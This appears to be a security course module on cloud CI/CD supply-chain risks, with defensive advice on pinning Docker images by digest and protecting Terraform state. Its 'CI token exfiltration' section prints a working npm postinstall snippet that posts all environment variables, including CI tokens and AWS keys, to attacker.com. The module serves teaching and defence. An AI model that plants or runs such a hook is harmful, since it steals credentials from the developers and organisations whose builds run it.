Module 7 · Cloud Supply Chain — CI to Production 🔒

• CI system (GitHub Actions, CircleCI, GitLab CI) has deploy credentials for cloud
• Container registries store build artifacts used by cloud workloads
• IaC (Terraform, Pulumi, CloudFormation) applies with cloud admin roles
• Helm charts, OCI artifacts, configuration repos — all pipeline-delivered

A single compromised step injects into everything downstream.

Specific attack patterns

CI token exfiltration

# Malicious dependency in build process exfiltrates CI secrets
# npm package with postinstall script reading env vars:
# package.json postinstall: "node exfil.js"
# exfil.js:
const http = require('https');
const env = JSON.stringify(process.env);
http.request({host:'attacker.com',path:'/x'},r=>{}).write(env).end();

# Environment on GitHub Actions runner contains:
# GITHUB_TOKEN, AWS_ACCESS_KEY_ID, etc.
# Attacker gets cloud creds → full access to whatever role has

Compromised Docker image

Base image at FROM ubuntu:20.04 gets updated. If you don’t pin by digest, you get whatever the latest is. Compromised upstream = compromised build. Pin to digest: FROM ubuntu@sha256:abc....

Terraform state hijack

Terraform state files contain secrets + config. State stored in S3 — attacker who reads state learns secrets + can MITM Terraform runs. State stored locally — lost on dev machine. State without encryption in remote backend — exposed.